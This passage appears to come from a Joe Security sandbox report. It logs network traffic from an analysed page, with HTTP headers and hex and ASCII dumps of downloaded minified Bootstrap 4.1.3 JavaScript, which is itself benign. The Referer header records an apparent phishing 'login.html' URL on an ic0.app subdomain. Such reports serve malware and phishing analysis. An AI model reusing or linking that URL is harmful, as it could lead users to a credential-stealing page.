121 Safari/537.36
Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/login.html?okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhw
h=Pu55NB1yr2jpvYRqSE&plpb=azaaxBfNMnkncPlD1dbKCjabbV&pepwe=NNmUbBHh57IDtuVbpJCTiLbygyk
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-07-01 17:36:50 UTC 298 IN HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 17:36:50 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
CDN-PullZone: 252412
CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74
CDN-RequestCountryCode: US
CDN-EdgeStorageId: 674
CDN-EdgeStorageId: 718
CDN-EdgeStorageId: 718
Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT
CDN-CachedAt: 2021-06-08 05:11:08
CDN-RequestPullSuccess: True
CDN-RequestPullCode: 200
Cache-Control: public, max-age=31919000
timing-allow-origin: *
cross-origin-resource-policy: cross-origin
access-control-allow-origin: *
x-content-type-options: nosniff
CDN-RequestId: d57b249fbc897a386cb949167a1340aa
CDN-Cache: HIT
CF-Cache-Status: HIT
Age: 13599705
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 7240e7fb6d3bbba3-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Copyright Joe Security LLC 2022 Page 71 of 79



2022-07-01 17:36:50 UTC 299 IN Data Raw: 66 37 35 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 
3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 
2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 
68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 
73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 
75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 
29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 
Data Ascii: f75/*!  * Bootstrap v4.1.3 (https://getbootstrap.com/)  * Copyright 2011-2018 The Bootstrap Authors (https:/
/github.com/twbs/bootstrap/graphs/contributors)  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LIC
ENSE)  */!function(t

2022-07-01 17:36:50 UTC 299 IN Data Raw: 6a 71 75 65 72 79 22 29 2c 72 65 71 75 69 72 65 28 22 70 6f 70 70 65 72 2e 6a 73 22 29 29 3a 22 66 75 6e 63 
74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 
28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 
74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 
66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 2
8 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 
65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 
Data Ascii: jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"]
,e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];
i.enumerable=i.en

2022-07-01 17:36:50 UTC 300 IN Data Raw: 6c 6e 2c 63 6e 2c 68 6e 2c 75 6e 2c 66 6e 2c 64 6e 2c 67 6e 2c 5f 6e 2c 6d 6e 2c 70 6e 2c 76 6e 2c 79 6e 2c 
45 6e 2c 43 6e 2c 54 6e 2c 62 6e 2c 53 6e 2c 49 6e 2c 41 6e 2c 44 6e 2c 77 6e 2c 4e 6e 2c 4f 6e 2c 6b 6e 2c 50 6e 2c 6a 
6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 
61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 
65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 
54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 
6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 
Data Ascii: ln,cn,hn,un,fn,dn,gn,_n,mn,pn,vn,yn,En,Cn,Tn,bn,Sn,In,An,Dn,wn,Nn,On,kn,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn
,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}
),setTimeout(function(){n||l.triggerT

2022-07-01 17:36:50 UTC 302 IN Data Raw: 65 54 79 70 65 3a 65 2c 68 61 6e 64 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 69 28 74 2e 74 61 
72 67 65 74 29 2e 69 73 28 74 68 69 73 29 29 72 65 74 75 72 6e 20 74 2e 68 61 6e 64 6c 65 4f 62 6a 2e 68 61 6e 64 6c 
65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 
22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5
b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2
c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 
3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 
Data Ascii: eType:e,handle:function(t){if(i(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}},l}(e),Kn=
(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-
api"},f="alert",d="fade",g="s

2022-07-01 17:36:50 UTC 303 IN Data Raw: 37 66 66 61 0d 0a 3b 72 28 65 29 2e 6f 6e 65 28 46 6e 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 
6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 65 2c 74 29 7d 
29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 74 29 7d 65 6c 73 65 20 74 68 69 73 2e 5f 64 65 
73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 65 29 7d 2c 74 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 
69 6f 6e 28 74 29 7b 72 28 74 29 2e 64 65 74 61 63 68 28 29 2e 74 72 69 67 67 65 72 28 75 2e 43 4c 4f 53 45 44 29 2e 
72 65 6d 6f 76 65 28 29 7d 2c 69 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2
9 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 
Data Ascii: 7ffa;r(e).one(Fn.TRANSITION_END,function(t){return n._destroyElement(e,t)}).emulateTransitionEnd(t)}else 
this._destroyElement(e)},t._destroyElement=function(t){r(t).detach().trigger(u.CLOSED).remove()},i._jQueryInterfa
ce=function(n){return this.each(fun

2022-07-01 17:36:50 UTC 304 IN Data Raw: 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 
65 64 3d 21 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 54 29 
2c 6d 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 
7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 
65 73 73 65 64 22 2c 21 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 
73 28 54 29 29 2c 74 26 26 6d 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 54 
29 7d 2c 74 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 
Data Ascii: .contains("disabled"))return;i.checked=!this._element.classList.contains(T),m(i).trigger("change")}i.focus()
,e=!1}}e&&this._element.setAttribute("aria-pressed",!this._element.classList.contains(T)),t&&m(this._element).toggleClas
s(T)},t.dispose=function(){

2022-07-01 17:36:50 UTC 305 IN Data Raw: 7d 2c 42 3d 22 63 61 72 6f 75 73 65 6c 22 2c 56 3d 22 61 63 74 69 76 65 22 2c 59 3d 22 73 6c 69 64 65 22 2c 
7a 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 4a 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 
6d 2d 6c 65 66 74 22 2c 5a 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 47 3d 22 63 61 72 6f 75 
73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 24 3d 22 2e 61 63 74 69 76 65 22 2c 58 3d 22 2e 61 63 74 69 76 65 2e 63 
61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 2c 74 74 3d 22 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 2c 65 74 3d 22 2e 
63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 2c 20 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 
22 2c 6e 74 3d 22 2e 63 61 72 6f 75 73 65 6c 2d 69 6e 64 69 63 61 74 6f 
Data Ascii: },B="carousel",V="active",Y="slide",z="carousel-item-right",J="carousel-item-left",Z="carousel-item-next",G=
"carousel-item-prev",$=".active",X=".active.carousel-item",tt=".carousel-item",et=".carousel-item-next, .carousel-item-p
rev",nt=".carousel-indicato

2022-07-01 17:36:50 UTC 307 IN Data Raw: 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 
74 6f 72 28 58 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 68 69 73 2e 5f 61 
63 74 69 76 65 45 6c 65 6d 65 6e 74 29 3b 69 66 28 21 28 74 3e 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 
2d 31 7c 7c 74 3c 30 29 29 69 66 28 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 29 50 28 74 68 69 73 2e 5f 65 6c 65 6d 
65 6e 74 29 2e 6f 6e 65 28 51 2e 53 4c 49 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 74 6f 28 74 
29 7d 29 3b 65 6c 73 65 7b 69 66 28 6e 3d 3d 3d 74 29 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 75 73 65 28 29 2c 76 
6f 69 64 20 74 68 69 73 2e 63 79 63 6c 65 28 29 3b 76 61 72 20 69 
Data Ascii: tiveElement=this._element.querySelector(X);var n=this._getItemIndex(this._activeElement);if(!(t>this._items.
length-1||t<0))if(this._isSliding)P(this._element).one(Q.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void 
this.cycle();var i

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 17:36:50 UTC 308 IN Data Raw: 4e 6f 64 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 74 74 29 29 3a 5b 5d 2c 74 68 69 73 2e 5f 
69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 74 29 7d 2c 74 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 
3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 3d 3d 3d 71 2c 69 3d 74 3d 3d 3d 46 2c 72 3d 74 68 
69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 65 29 2c 6f 3d 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 
2d 31 3b 69 66 28 28 69 26 26 30 3d 3d 3d 72 7c 7c 6e 26 26 72 3d 3d 3d 6f 29 26 26 21 74 68 69 73 2e 5f 63 6f 6e 66 6
9 67 2e 77 72 61 70 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 73 3d 28 72 2b 28 74 3d 3d 3d 46 3f 2d 31 3a 31 29 29 
25 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 3b 72 65 74 
Data Ascii: Node.querySelectorAll(tt)):[],this._items.indexOf(t)},t._getItemByDirection=function(t,e){var n=t===q,i=t===
F,r=this._getItemIndex(e),o=this._items.length-1;if((i&&0===r||n&&r===o)&&!this._config.wrap)return e;var s=(r+(t===F?-1
:1))%this._items.length;ret

2022-07-01 17:36:50 UTC 309 IN Data Raw: 29 3b 50 28 73 29 2e 6f 6e 65 28 46 6e 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 
6e 28 29 7b 50 28 6c 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 6e 2b 22 20 22 2b 69 29 2e 61 64 64 43 6c 61 73 73 28 
56 29 2c 50 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 2b 22 20 22 2b 69 2b 22 20 22 2b 6e 29 2c 6f 2e 5f 69 73 
53 6c 69 64 69 6e 67 3d 21 31 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 
20 50 28 6f 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 75 29 7d 2c 30 29 7d 29 2e 65 6d 75 6c 61 74 65 5
4 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 66 29 7d 65 6c 73 65 20 50 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 
29 2c 50 28 6c 29 2e 61 64 64 43 6c 61 73 73 28 56 29 2c 74 68 69 
Data Ascii: );P(s).one(Fn.TRANSITION_END,function(){P(l).removeClass(n+" "+i).addClass(V),P(s).removeClass(V+" 
"+i+" "+n),o._isSliding=!1,setTimeout(function(){return P(o._element).trigger(u)},0)}).emulateTransitionEnd(f)}else P(s
).removeClass(V),P(l).addClass(V),thi

2022-07-01 17:36:50 UTC 311 IN Data Raw: 6e 5b 6a 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 6f 74 2c 50 2e 66 6e 5b 6a 5d 2e 6e 6f 43 6f 6e 66 6c 69 
63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 50 2e 66 6e 5b 6a 5d 3d 78 2c 6f 74 2e 5f 6a 51 75 65 
72 79 49 6e 74 65 72 66 61 63 65 7d 2c 6f 74 29 2c 42 6e 3d 28 61 74 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 63 74 3d 22 
2e 22 2b 28 6c 74 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 29 2c 68 74 3d 28 73 74 3d 65 29 2e 66 6e 5b 61 74 5d 2c 7
5 74 3d 7b 74 6f 67 67 6c 65 3a 21 30 2c 70 61 72 65 6e 74 3a 22 22 7d 2c 66 74 3d 7b 74 6f 67 67 6c 65 3a 22 62 6f 6f 6
c 65 61 6e 22 2c 70 61 72 65 6e 74 3a 22 28 73 74 72 69 6e 67 7c 65 6c 65 6d 65 6e 74 29 22 7d 2c 64 74 3d 7b 53 48 4f 
57 3a 22 73 68 6f 77 22 2b 63 74 2c 53 48 4f 57 4e 3a 22 73 68 6f 
Data Ascii: n[j].Constructor=ot,P.fn[j].noConflict=function(){return P.fn[j]=x,ot._jQueryInterface},ot),Bn=(at="collapse
",ct="."+(lt="bs.collapse"),ht=(st=e).fn[at],ut={toggle:!0,parent:""},ft={toggle:"boolean",parent:"(string|element)"},dt=
{SHOW:"show"+ct,SHOWN:"sho

2022-07-01 17:36:50 UTC 312 IN Data Raw: 73 2e 5f 70 61 72 65 6e 74 26 26 30 3d 3d 3d 28 74 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 
2e 5f 70 61 72 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 45 74 29 29 2e 66 69 6c 74 65 72 28 66 
75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 
70 61 72 65 6e 74 22 29 3d 3d 3d 6e 2e 5f 63 6f 6e 66 69 67 2e 70 61 72 65 6e 74 7d 29 29 2e 6c 65 6e 67 74 68 26 26 2
8 74 3d 6e 75 6c 6c 29 2c 21 28 74 26 26 28 65 3d 73 74 28 74 29 2e 6e 6f 74 28 74 68 69 73 2e 5f 73 65 6c 65 63 74 6f 
72 29 2e 64 61 74 61 28 6c 74 29 29 26 26 65 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 29 29 29 7b 76 61 72 
20 69 3d 73 74 2e 45 76 65 6e 74 28 64 74 2e 53 48 4f 57 29 3b 69 66 
Data Ascii: s._parent&&0===(t=[].slice.call(this._parent.querySelectorAll(Et)).filter(function(t){return t.getAttribute("data-
parent")===n._config.parent})).length&&(t=null),!(t&&(e=st(t).not(this._selector).data(lt))&&e._isTransitioning))){var i=st.
Event(dt.SHOW);if

2022-07-01 17:36:50 UTC 313 IN Data Raw: 76 61 72 20 72 3d 30 3b 72 3c 69 3b 72 2b 2b 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 5f 74 72 69 67 67 65 72 
41 72 72 61 79 5b 72 5d 2c 73 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 6f 29 3b 
69 66 28 6e 75 6c 6c 21 3d 3d 73 29 73 74 28 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 
75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 73 29 29 29 2e 68 61 73 43 6c 61 73 73 28 67 74 29 7c 7c 73 74 28 6f 
29 2e 61 64 64 43 6c 61 73 73 28 70 74 29 2e 61 74 74 72 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 21 31 29 
7d 74 68 69 73 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 28 21 30 29 3b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 
74 2e 73 74 79 6c 65 5b 6e 5d 3d 22 22 3b 76 61 72 20 61 3d 46 6e 2e 
Data Ascii: var r=0;r<i;r++){var o=this._triggerArray[r],s=Fn.getSelectorFromElement(o);if(null!==s)st([].slice.call(doc
ument.querySelectorAll(s))).hasClass(gt)||st(o).addClass(pt).attr("aria-expanded",!1)}this.setTransitioning(!0);this._el
ement.style[n]="";var a=Fn.

2022-07-01 17:36:50 UTC 315 IN Data Raw: 26 26 73 74 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 70 74 2c 21 6e 29 2e 61 74 74 72 28 22 61 72 69 
61 2d 65 78 70 61 6e 64 65 64 22 2c 6e 29 7d 7d 2c 61 2e 5f 67 65 74 54 61 72 67 65 74 46 72 6f 6d 45 6c 65 6d 65 6e 
74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 
6c 65 6d 65 6e 74 28 74 29 3b 72 65 74 75 72 6e 20 65 3f 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6
f 72 28 65 29 3a 6e 75 6c 6c 7d 2c 61 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 
69 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 73 74 
28 74 68 69 73 29 2c 65 3d 74 2e 64 61 74 61 28 6c 74 29 2c 6e 3d 6c 
Data Ascii: &&st(e).toggleClass(pt,!n).attr("aria-expanded",n)}},a._getTargetFromElement=function(t){var e=Fn.getSelecto
rFromElement(t);return e?document.querySelector(e):null},a._jQueryInterface=function(i){return this.each(function(){var 
t=st(this),e=t.data(lt),n=l

2022-07-01 17:36:50 UTC 316 IN Data Raw: 2c 52 74 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 2d 72 69 67 68 74 22 2c 78 74 3d 22 70 6f 73 69 74 69 
6f 6e 2d 73 74 61 74 69 63 22 2c 57 74 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 5d 27 
2c 55 74 3d 22 2e 64 72 6f 70 64 6f 77 6e 20 66 6f 72 6d 22 2c 71 74 3d 22 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 
2c 46 74 3d 22 2e 6e 61 76 62 61 72 2d 6e 61 76 22 2c 4b 74 3d 22 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 20 2e 64 
72 6f 70 64 6f 77 6e 2d 69 74 65 6d 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 
64 29 22 2c 4d 74 3d 22 74 6f 70 2d 73 74 61 72 74 22 2c 51 74 3d 22 74 6f 70 2d 65 6e 64 22 2c 42 74 3d 22 62 6f 74 74 
6f 6d 2d 73 74 61 72 74 22 2c 56 74 3d 22 62 6f 74 74 6f 6d 
Data Ascii: ,Rt="dropdown-menu-right",xt="position-static",Wt='[data-toggle="dropdown"]',Ut=".dropdown form",q
t=".dropdown-menu",Ft=".navbar-nav",Kt=".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",Mt="top-s
tart",Qt="top-end",Bt="bottom-start",Vt="bottom

2022-07-01 17:36:50 UTC 317 IN Data Raw: 75 6e 64 61 72 79 26 26 62 74 28 74 29 2e 61 64 64 43 6c 61 73 73 28 78 74 29 2c 74 68 69 73 2e 5f 70 6f 70 
70 65 72 3d 6e 65 77 20 68 28 72 2c 74 68 69 73 2e 5f 6d 65 6e 75 2c 74 68 69 73 2e 5f 67 65 74 50 6f 70 70 65 72 43 6f 
6e 66 69 67 28 29 29 7d 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 
6e 74 45 6c 65 6d 65 6e 74 26 26 30 3d 3d 3d 62 74 28 74 29 2e 63 6c 6f 73 65 73 74 28 46 74 29 2e 6c 65 6e 67 74 68 
26 26 62 74 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 63 68 69 6c 64 72 65 6e 28 29 2e 6f 6e 28 22 6d 6f 75 73 65 
6f 76 65 72 22 2c 6e 75 6c 6c 2c 62 74 2e 6e 6f 6f 70 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 66 6f 63 75 73 28 
29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 
Data Ascii: undary&&bt(t).addClass(xt),this._popper=new h(r,this._menu,this._getPopperConfig())}"ontouchstart"in 
document.documentElement&&0===bt(t).closest(Ft).length&&bt(document.body).children().on("mouseover",null,bt
.noop),this._element.focus(),this._element.setA
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2022-07-01 17:36:50 UTC 319 IN Data Raw: 29 2e 6c 65 6e 67 74 68 7d 2c 74 2e 5f 67 65 74 50 6f 70 70 65 72 43 6f 6e 66 69 67 3d 66 75 6e 63 74 69 6f 
6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 7b 7d 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 
74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 3f 74 2e 66 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 
75 72 6e 20 74 2e 6f 66 66 73 65 74 73 3d 6c 28 7b 7d 2c 74 2e 6f 66 66 73 65 74 73 2c 65 2e 5f 63 6f 6e 66 69 67 2e 6f 
66 66 73 65 74 28 74 2e 6f 66 66 73 65 74 73 29 7c 7c 7b 7d 29 2c 74 7d 3a 74 2e 6f 66 66 73 65 74 3d 74 68 69 73 2e 5f 
63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 3b 76 61 72 20 6e 3d 7b 70 6c 61 63 65 6d 65 6e 74 3a 74 68 69 73 2e 5f 67 65 74 
50 6c 61 63 65 6d 65 6e 74 28 29 2c 6d 6f 64 69 66 69 65 72 
Data Ascii: ).length},t._getPopperConfig=function(){var e=this,t={};"function"==typeof this._config.offset?t.fn=function(t)
{return t.offsets=l({},t.offsets,e._config.offset(t.offsets)||{}),t}:t.offset=this._config.offset;var n={placement:this._getPla
cement(),modifier

2022-07-01 17:36:50 UTC 320 IN Data Raw: 50 74 29 2c 62 74 28 72 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 50 74 29 2e 74 72 69 67 67 65 72 28 62 
74 2e 45 76 65 6e 74 28 4f 74 2e 48 49 44 44 45 4e 2c 73 29 29 29 7d 7d 7d 7d 2c 63 2e 5f 67 65 74 50 61 72 65 6e 74 
46 72 6f 6d 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 6e 3d 46 6e 2e 67 65 74 53 6
5 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 3b 72 65 74 75 72 6e 20 6e 26 26 28 65 3d 64 6f 63 75 6d 
65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 29 29 2c 65 7c 7c 74 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 2c 63 
2e 5f 64 61 74 61 41 70 69 4b 65 79 64 6f 77 6e 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 
28 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 
Data Ascii: Pt),bt(r).removeClass(Pt).trigger(bt.Event(Ot.HIDDEN,s)))}}}},c._getParentFromElement=function(t){var e,n=Fn
.getSelectorFromElement(t);return n&&(e=document.querySelector(n)),e||t.parentNode},c._dataApiKeydownHandler=f
unction(t){if((/input|textarea/i.test

2022-07-01 17:36:50 UTC 321 IN Data Raw: 62 74 2e 66 6e 5b 53 74 5d 3d 47 74 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 62 74 2e 66 6e 
